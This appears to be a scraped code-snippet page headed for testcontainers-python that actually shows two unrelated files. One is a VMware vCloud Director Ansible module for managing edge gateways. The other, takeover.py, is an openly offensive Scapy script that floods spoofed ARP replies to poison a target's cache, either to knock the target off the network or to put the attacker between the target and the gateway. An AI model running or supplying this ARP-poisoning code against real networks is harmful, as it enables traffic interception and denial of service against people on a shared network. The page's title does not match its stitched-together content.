How to use default_gateway_ip method in testcontainers-python

Best Python code snippet using testcontainers-python_python

vcd_vdc_gateway.py

Source:vcd_vdc_gateway.py

1# Copyright Â© 2018 VMware, Inc. All Rights Reserved.2# SPDX-License-Identifier: BSD-2-Clause OR GPL-3.0-only3# !/usr/bin/python4# from __future__ import (absolute_import, division, print_function)5# __metaclass__ = type6ANSIBLE_METADATA = {'metadata_version': '1.1',7                    'status': ['preview'],8                    'supported_by': 'community'}9DOCUMENTATION = '''10module: vcd_vdc_gateway11short_description: Ansible module to create/update/delete edge gateway in vCloud Director.12version_added: "2.7"13description:14    - "Ansible module to create/delete edge gateway in vCloud Director."15author:16    - Michal Taratuta <michalta@softcat.com>17options:18    user:19        description:20            - vCloud Director user name21        type: str22        required: false23    password:24        description:25            - vCloud Director user password26        type: str27        required: false28    host:29        description:30            - vCloud Director host address31        type: str32        required: false33    org:34        description:35            - Organization name on vCloud Director to access i.e. System.36        type: str37        required: false38    api_version:39        description:40            - Pyvcloud API version, required as float i.e 31 => 31.041        type: float42    verify_ssl_certs:43        description:44            - whether to use secure connection to vCloud Director host.45        type: bool46    vdc_name:47        description:48            - The name of the vdc where Gateway is going to be created.49        required: false50        type: str51    org_name:52        description:53            - Name of the organization the Gateway belongs to.54        type: str55        required: false56    description:57        description:58            - The description of the edge gateway59        type: str60        required: false61    gateway_name:62        description:63            - The name of the new gateway.64        type: str65        required: true66    new_gateway_name:67        description:68            - The updated name of the existing gateway.69        type: str70        required: false71    external_networks:72        description:73            - list of external network's name to which gateway can connect.74        type: list75        required: false76    gateway_backing_config:77        description:78            - The size of the NSX Edge instance based on your performance79                requirements.80        type: str81        required: false82        choices: ['compact', 'full', 'full4', 'x-large']83    edge_gateway_type:84        description:85            - edge gateway type86        type: str87        required: false88        choices: ['NSXV_BACKED', 'NSXT_BACKED', 'NSXT_IMPORTED']89    default_gateway:90        description:91            - should the new gateway be configured as the default gateway.92        type: bool93        default: false94        required: false95    extnw_for_default_gw:96        description:97            - external network for default gateway.98        type: str99        required: false100    default_gateway_ip:101        description:102            - dafault gateway IP103        type: str104        required: false105    default_gw_for_dns_relay:106        description:107            - should this default gateway use for dns relay.108        type: bool109        default: false110        required: false111    ha_enabled:112        description:113            - Is HA enabled114        type: bool115        default: false116        required: false117    create_as_advanced_gw:118        description:119            - create as advanced gateway120        type: bool121        default: false122        required: false123    dr_enabled:124        description:125            - Is distributed routing enabled126        type: bool127        default: false128        required: false129    configure_ip_settings:130        description:131            - Is ip settings configured132        type: bool133        default: false134        required: false135    ext_net_to_participated_subnet_with_ip_settings:136        description:137            - External network to subnet ip with ip assigned in case of manual138                 else Auto.139        type: dict140        required: false141    sub_allocate_ip_pools:142        description:143            - Is sub allocate ip pools enabled.144        type: bool145        default: false146        required: false147    ext_net_to_subnet_with_ip_range:148        description:149            - External network to sub allocated ip with ip ranges.150        type: dict151        required: false152    ext_net_to_rate_limit:153        description:154            - External network to rate limit.155        required: false156    flips_mode:157        description:158            - Is flip mode enabled.159        type: bool160        default: false161    state:162        description:163            - State of the Gateway.164        type: string165        required: true166        choices: ['present','absent', 'update']167'''168EXAMPLES = '''169- name: create GW with STATIC IP Address and Rate Limit170  vcd_vdc_gateway:171    user: "{{vcd_user}}"172    password: "{{vcd_password}}"173    host: "{{host}}"174    org_name: "{{customer_org}}"175    org: "{{org_name}}"176    api_version: "{{api_version}}"177    verify_ssl_certs: False178    vdc_name: "{{vdc_name}}"179    gateway_name: "module_test_3"180    description: "Created by Ansible module"181    external_networks:182      - "CLOUDLAB EXTERNAL NETWORK"183    gateway_backing_config: compact184    default_gateway: True185    extnw_for_default_gw: "CLOUDLAB EXTERNAL NETWORK"186    default_gateway_ip: 10.221.10.161187    default_gw_for_dns_relay: True188    ha_enabled: True189    create_as_advanced_gw: True190    dr_enabled: True191    configure_ip_settings: True192    ext_net_to_participated_subnet_with_ip_settings: {193        "CLOUDLAB EXTERNAL NETWORK": {194            "10.221.10.161/27": "10.221.10.170"195        }196    }197    ext_net_to_rate_limit: {198        "CLOUDLAB EXTERNAL NETWORK": {199            "100": "100"200        }201    }202    state: present203'''204RETURN = '''205msg: success/failure message corresponding to edge gateway state206changed: true if resource has been changed else false207'''208from pyvcloud.vcd.org import Org209from pyvcloud.vcd.vdc import VDC210from pyvcloud.vcd.gateway import Gateway211from ansible.module_utils.vcd import VcdAnsibleModule212from pyvcloud.vcd.exceptions import BadRequestException, EntityNotFoundException213EDGE_NETWORK_STATES = ['present', 'update', 'absent']214EDGE_GW_TYPE = ['NSXV_BACKED', 'NSXT_BACKED', 'NSXT_IMPORTED']215EDGE_GW_BACKING_CONF = ['compact', 'full', 'full4', 'x-large']216def vdc_gw_argument_spec():217    return dict(218        org_name=dict(type='str', required=True),219        vdc_name=dict(type='str', required=True),220        gateway_name=dict(type='str', required=True),221        new_gateway_name=dict(type='str', required=False),222        description=dict(type='str', required=False),223        external_networks=dict(type='list', required=False),224        gateway_backing_config=dict(type='str', required=False, choices=EDGE_GW_BACKING_CONF),225        default_gateway=dict(type='bool', required=False, default=False),226        extnw_for_default_gw=dict(type='str', required=False),227        default_gateway_ip=dict(type='str', required=False),228        default_gw_for_dns_relay=dict(type='bool', required=False, default=False),229        ha_enabled=dict(type='bool', required=False, default=False),230        create_as_advanced_gw=dict(type='bool', required=False, default=False),231        dr_enabled=dict(type='bool', required=False, default=False),232        configure_ip_settings=dict(type='bool', required=False, default=False),233        ext_net_to_participated_subnet_with_ip_settings=dict(type='dict', required=False),234        sub_allocate_ip_pools=dict(type='bool', required=False, default=False),235        ext_net_to_subnet_with_ip_range=dict(type='dict', required=False),236        ext_net_to_rate_limit=dict(type='dict', required=False),237        flips_mode=dict(type='bool', required=False, default=False),238        edge_gateway_type=dict(type='str', required=False, choices=EDGE_GW_TYPE),239        state=dict(choices=EDGE_NETWORK_STATES, required=True)240    )241class VdcGW(VcdAnsibleModule):242    def __init__(self, **kwargs):243        super(VdcGW, self).__init__(**kwargs)244        self.vdc_name = self.params.get('vdc_name')245        self.org_name = self.params.get('org_name')246        org_resource = self.client.get_org_by_name(self.org_name)247        self.org = Org(self.client, resource=org_resource)248        vdc_resource = self.org.get_vdc(self.vdc_name)249        self.vdc = VDC(self.client, name=self.vdc_name, resource=vdc_resource)250    def manage_states(self):251        state = self.params.get('state')252        if state == "present":253            return self.create_gw()254        if state == "update":255            return self.update_gw()256        if state == "absent":257            return self.delete_gw()258    def get_gateway(self, gateway_name):259        gateway = self.vdc.get_gateway(gateway_name)260        if gateway is None:261            raise EntityNotFoundException("Edge gateway {0} is not present".format(gateway_name))262        return gateway263    def create_gw(self):264        api_version = self.client.get_api_version()265        if api_version == "30.0":266            return self.create_gateway_api_version_30()267        if api_version == "31.0":268            return self.create_gateway_api_version_31()269        if api_version == "32.0":270            return self.create_gateway_api_version_32()271    def create_gateway_api_version_30(self):272        response = dict()273        response['changed'] = False274        gateway_name = self.params.get('gateway_name')275        description = self.params.get('description')276        external_networks = self.params.get('external_networks')277        gateway_backing_config = self.params.get('gateway_backing_config')278        default_gateway = self.params.get('default_gateway')279        extnw_for_default_gw = self.params.get('extnw_for_default_gw')280        default_gateway_ip = self.params.get('default_gateway_ip')281        default_gw_for_dns_relay = self.params.get('default_gw_for_dns_relay')282        ha_enabled = self.params.get('ha_enabled')283        create_as_advanced_gw = self.params.get('create_as_advanced_gw')284        dr_enabled = self.params.get('dr_enabled')285        configure_ip_settings = self.params.get('configure_ip_settings')286        sub_allocate_ip_pools = self.params.get('sub_allocate_ip_pools')287        ext_net_to_rate_limit = self.params.get('ext_net_to_rate_limit')288        ext_net_to_subnet_with_ip_range = self.params.get(289            'ext_net_to_subnet_with_ip_range')290        ext_net_to_participated_subnet_with_ip_settings = self.params.get(291            'ext_net_to_participated_subnet_with_ip_settings')292        try:293            self.get_gateway(gateway_name)294        except EntityNotFoundException:295            create_task = self.vdc.create_gateway_api_version_30(296                name=gateway_name,297                external_networks=external_networks,298                gateway_backing_config=gateway_backing_config,299                desc=description,300                is_default_gateway=default_gateway,301                selected_extnw_for_default_gw=extnw_for_default_gw,302                default_gateway_ip=default_gateway_ip,303                is_default_gw_for_dns_relay_selected=default_gw_for_dns_relay,304                is_ha_enabled=ha_enabled,305                should_create_as_advanced=create_as_advanced_gw,306                is_dr_enabled=dr_enabled,307                is_ip_settings_configured=configure_ip_settings,308                ext_net_to_participated_subnet_with_ip_settings=ext_net_to_participated_subnet_with_ip_settings,309                is_sub_allocate_ip_pools_enabled=sub_allocate_ip_pools,310                ext_net_to_subnet_with_ip_range=ext_net_to_subnet_with_ip_range,311                ext_net_to_rate_limit=ext_net_to_rate_limit)312            self.execute_task(create_task.Tasks.Task[0])313            response['msg'] = "Edge Gateway {0} has been created".format(gateway_name)314            response['changed'] = True315        else:316            response['warnings'] = "Edge Gateway {0} is already present".format(gateway_name)317        return response318    def create_gateway_api_version_31(self):319        response = dict()320        response['changed'] = False321        gateway_name = self.params.get('gateway_name')322        description = self.params.get('description')323        external_networks = self.params.get('external_networks')324        gateway_backing_config = self.params.get('gateway_backing_config')325        default_gateway = self.params.get('default_gateway')326        extnw_for_default_gw = self.params.get('extnw_for_default_gw')327        default_gateway_ip = self.params.get('default_gateway_ip')328        default_gw_for_dns_relay = self.params.get('default_gw_for_dns_relay')329        ha_enabled = self.params.get('ha_enabled')330        create_as_advanced_gw = self.params.get('create_as_advanced_gw')331        dr_enabled = self.params.get('dr_enabled')332        configure_ip_settings = self.params.get('configure_ip_settings')333        sub_allocate_ip_pools = self.params.get('sub_allocate_ip_pools')334        ext_net_to_rate_limit = self.params.get('ext_net_to_rate_limit')335        flips_mode = self.params.get('flips_mode')336        ext_net_to_subnet_with_ip_range = self.params.get(337            'ext_net_to_subnet_with_ip_range')338        ext_net_to_participated_subnet_with_ip_settings = self.params.get(339            'ext_net_to_participated_subnet_with_ip_settings')340        try:341            self.get_gateway(gateway_name)342        except EntityNotFoundException:343            create_task = self.vdc.create_gateway_api_version_31(344                name=gateway_name,345                external_networks=external_networks,346                gateway_backing_config=gateway_backing_config,347                desc=description,348                is_default_gateway=default_gateway,349                selected_extnw_for_default_gw=extnw_for_default_gw,350                default_gateway_ip=default_gateway_ip,351                is_default_gw_for_dns_relay_selected=default_gw_for_dns_relay,352                is_ha_enabled=ha_enabled,353                should_create_as_advanced=create_as_advanced_gw,354                is_dr_enabled=dr_enabled,355                is_ip_settings_configured=configure_ip_settings,356                ext_net_to_participated_subnet_with_ip_settings=ext_net_to_participated_subnet_with_ip_settings,357                is_sub_allocate_ip_pools_enabled=sub_allocate_ip_pools,358                ext_net_to_subnet_with_ip_range=ext_net_to_subnet_with_ip_range,359                ext_net_to_rate_limit=ext_net_to_rate_limit,360                is_flips_mode_enabled=flips_mode)361            self.execute_task(create_task.Tasks.Task[0])362            response['msg'] = "Edge Gateway {0} has been created".format(gateway_name)363            response['changed'] = True364        else:365            response['warnings'] = "Edge Gateway {0} is already present".format(gateway_name)366        return response367    def create_gateway_api_version_32(self):368        response = dict()369        response['changed'] = False370        gateway_name = self.params.get('gateway_name')371        description = self.params.get('description')372        external_networks = self.params.get('external_networks')373        gateway_backing_config = self.params.get('gateway_backing_config')374        default_gateway = self.params.get('default_gateway')375        extnw_for_default_gw = self.params.get('extnw_for_default_gw')376        default_gateway_ip = self.params.get('default_gateway_ip')377        default_gw_for_dns_relay = self.params.get('default_gw_for_dns_relay')378        ha_enabled = self.params.get('ha_enabled')379        create_as_advanced_gw = self.params.get('create_as_advanced_gw')380        dr_enabled = self.params.get('dr_enabled')381        configure_ip_settings = self.params.get('configure_ip_settings')382        sub_allocate_ip_pools = self.params.get('sub_allocate_ip_pools')383        ext_net_to_rate_limit = self.params.get('ext_net_to_rate_limit')384        edge_gateway_type = self.params.get('edge_gateway_type')385        flips_mode = self.params.get('flips_mode')386        ext_net_to_subnet_with_ip_range = self.params.get(387            'ext_net_to_subnet_with_ip_range')388        ext_net_to_participated_subnet_with_ip_settings = self.params.get(389            'ext_net_to_participated_subnet_with_ip_settings')390        try:391            self.get_gateway(gateway_name)392        except EntityNotFoundException:393            create_task = self.vdc.create_gateway_api_version_32(394                name=gateway_name,395                external_networks=external_networks,396                gateway_backing_config=gateway_backing_config,397                desc=description,398                is_default_gateway=default_gateway,399                selected_extnw_for_default_gw=extnw_for_default_gw,400                default_gateway_ip=default_gateway_ip,401                is_default_gw_for_dns_relay_selected=default_gw_for_dns_relay,402                is_ha_enabled=ha_enabled,403                should_create_as_advanced=create_as_advanced_gw,404                is_dr_enabled=dr_enabled,405                is_ip_settings_configured=configure_ip_settings,406                ext_net_to_participated_subnet_with_ip_settings=ext_net_to_participated_subnet_with_ip_settings,407                is_sub_allocate_ip_pools_enabled=sub_allocate_ip_pools,408                ext_net_to_subnet_with_ip_range=ext_net_to_subnet_with_ip_range,409                ext_net_to_rate_limit=ext_net_to_rate_limit,410                is_flips_mode_enabled=flips_mode,411                edgeGatewayType=edge_gateway_type)412            self.execute_task(create_task.Tasks.Task[0])413            response['msg'] = "Edge Gateway {0} has been created".format(gateway_name)414            response['changed'] = True415        else:416            response['warnings'] = "Edge Gateway {0} is already present".format(gateway_name)417        return response418    def update_gw(self):419        response = dict()420        response['changed'] = False421        edge_gateway_href = None422        gateway_name = self.params.get('gateway_name')423        new_gateway_name = self.params.get('new_gateway_name')424        description = self.params.get('description')425        ha_enabled = self.params.get('ha_enabled')426        try:427            gateway = self.get_gateway(gateway_name)428        except EntityNotFoundException:429            msg = 'Edge Gateway {0} is not present'430            response['warnings'] = msg.format(gateway_name)431        else:432            for key, value in gateway.items():433                edge_gateway_href = value if key == "href" else edge_gateway_href434            gateway = Gateway(self.client, name=gateway_name, href=edge_gateway_href)435            update_task = gateway.edit_gateway(newname=new_gateway_name, desc=description, ha=ha_enabled)436            self.execute_task(update_task)437            response['msg'] = "Edge Gateway {0} has been updated with {1}".format(gateway_name, new_gateway_name)438            response['changed'] = True439        return response440    def delete_gw(self):441        response = dict()442        response['changed'] = False443        gateway_name = self.params.get('gateway_name')444        try:445            self.get_gateway(gateway_name)446        except EntityNotFoundException:447            response['warnings'] = "Edge Gateway {0} is not present".format(gateway_name)448        else:449            delete_task = self.vdc.delete_gateway(gateway_name)450            self.execute_task(delete_task)451            response['msg'] = "Edge Gateway {0} has been deleted".format(gateway_name)452            response['changed'] = True453        return response454def main():455    argument_spec = vdc_gw_argument_spec()456    response = dict(msg=dict(type='str'))457    module = VdcGW(argument_spec=argument_spec, supports_check_mode=True)458    try:459        if not module.params.get('state'):460            raise Exception('Please provide the state for the resource.')461        response = module.manage_states()462        module.exit_json(**response)463    except Exception as error:464        response['msg'] = error.__str__()465        module.fail_json(**response)466if __name__ == '__main__':...

takeover.py

Source:takeover.py

...11"""12	This function is responsible for getting the IP address of the network's13	default gateway.14"""15def get_default_gateway_ip():16	p = sr1(IP(dst="www.google.com", ttl = 0)/ICMP()/"XXXXXXXXXXX")17	return (p.src)18"""19	This function is responsible for sending spoofed ARP responses to the target20	IP address.21"""22def poison_arp_cache(target_ip, target_mac_addr, spoofed_ip, spoofed_mac_addr=Ether().src):23	# Create the ARP response24	spoofed_resp = Ether()/ARP()25	# Set the destination MAC address26	spoofed_resp[Ether].dst = target_mac_addr27	spoofed_resp[ARP].hwdst = target_mac_addr28	# Set the destination IP address29	spoofed_resp[ARP].pdst = target_ip30	# Set the spoofed MAC address31	spoofed_resp[Ether].src = spoofed_mac_addr32	spoofed_resp[ARP].hwsrc = spoofed_mac_addr33	# Set the spoofed IP address34	spoofed_resp[ARP].psrc = spoofed_ip35	# is-at (response)36	spoofed_resp[ARP].op = 237	#print(spoofed_resp[0].show())38	sendp(spoofed_resp)39"""40	This function is responsible for poisoning the ARP cache of the target with a false41	MAC address to DOS the target.42	Note: Seems to work only on ethernet networks as in WiFi, the AP drops the43	packet if the spoofed MAC address is not in its association list.44"""45def perform_dos(target_ip):46	# Get default gateway's network details47	default_gateway_ip = get_default_gateway_ip()48	# Get the MAC address of the target49	target_mac_addr = get_mac(target_ip)50	# Keep sending spoofed ARP responses51	while True:52		poison_arp_cache(target_ip, target_mac_addr, default_gateway_ip, "ab:cd:ef:ab:cd:ef")53"""54	This function is responsible for poisoning the ARP cache of both the target55	and the default gateway to become the middle man.56"""57def perform_mitm(target_ip):58	# Get default gateway's network details59	default_gateway_ip = get_default_gateway_ip()60	default_gateway_mac = get_mac(default_gateway_ip)61	# Get target's MAC address62	target_mac = get_mac(target_ip)63	# Keep sending spoofed ARP responses64	while True:65		# Poison target's ARP cache table66		poison_arp_cache(target_ip, target_mac, default_gateway_ip)67		print(f"Sent ARP reply to {target_ip}")68		# Poison default gateway's ARP cache table69		poison_arp_cache(default_gateway_ip, default_gateway_mac, target_ip)70		print(f"Sent ARP reply to {default_gateway_ip}")71def main():72	parser = argparse.ArgumentParser()73	parser.add_argument("target", help="Target's IP address", action="store")...

Automation Testing Tutorials

Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.